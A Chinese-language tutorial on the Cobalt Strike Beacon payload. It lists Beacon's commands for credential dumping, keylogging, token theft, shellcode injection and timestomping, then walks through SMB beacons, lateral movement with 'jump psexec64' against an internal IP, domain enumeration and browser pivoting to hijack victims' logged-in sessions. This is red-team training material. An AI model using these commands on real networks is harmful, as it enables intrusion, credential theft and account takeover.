Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网 络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任 务,然后进入睡眠状态。交互式通信实时发生。
beacon种的命令
Command Description
------- -----------
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标
不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用
powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件
路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新
Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt
Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt
Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件
在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,每一分钟目标主机与teamserver通信一次),这会让我们执行命令或进行其他操作响应很慢一般设置 sleep 5 即可,
如果使用socks代理设置为 sleep 0
在beacon不能直接使用系统命令想要执行系统命令需要使用 shell 命令
SMB beacon
官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从 父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相 对隐蔽,绕防火墙时可能发挥奇效。
这张图很好的诠释了SMB beacon的工作流程
这种beacon要求具有SMB Beacon的主机必须接受端口445上的连接.
派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的 Listener>上线
或在beacon中使用命令spawn smb(smb为我的smb listener名字)
运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。
当前是连接状态,你可以Beacon上用link 命令链接他或者unlink 命令断开它。
这种beacon在内网横向渗透中运用的很多,横向渗透留到日后再讲。在内网环境中可以使用ipc $生成的 SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去 连接他。
当前连接12server5 因为密码与12server4相同 dir可以访问 12server5 c盘可以使用jump psexec64建 立smb beacon
shell dir \\10.10.10.139\c$ #访问目标c盘
jump psexec64 \\10.10.10.139 smb 创建smb连接
7.1 截图
可以在beacon里输入命令
7.2 端口扫描
流 量 探 测 端 口 扫 描 选 择 扫 描 存 活 的 方 式 a r p ic m p 选 择 扫 描 的 网 卡 也 可 以 指 定 端 口
在beacon 使用命令查看后台任务jobs关闭任务jobkill 任务id
7.3 网络探测
beacon 提供net命令以下是这个命令的一些常用方法
beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
命令 描述
------- -----------
computers 列出域中的主机(通过组)
domain 显示该主机的域
dclist 列出域控制器
domain_controllers 列出域控制器(通过组)
domain_trusts 列出域信任
group 列出组中的成员组和成员用户
localgroup 列出本地组中的成员组和成员用户
logons 列出登录到指定主机的用户
sessions 列出指定主机上的会话
share 列出指定主机上的共享
user 列出用户和用户信息
time 显示指定主机上的时间
view 列出域中的主机(通过browser服务)
使用 "help net [命令]" 了解更多信息
查看网络信任主机
列出域控
7.4 浏览器代理
先把beacon 简介时间设置为0 sleep 0
先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon 连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好 的效果
然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:
将 agent 程序注入受害机器的 IE 浏览器进程
在团队服务器的一个端口上开启一个 HTTP 代理服务器
实际上,这个过程也可以通过browserpivot命令来实现。效果是等同的。停止方式 browserpivot stop
如果目标上登录某些网站通过设置浏览器代理后,访问网站即可登录
访问目标网站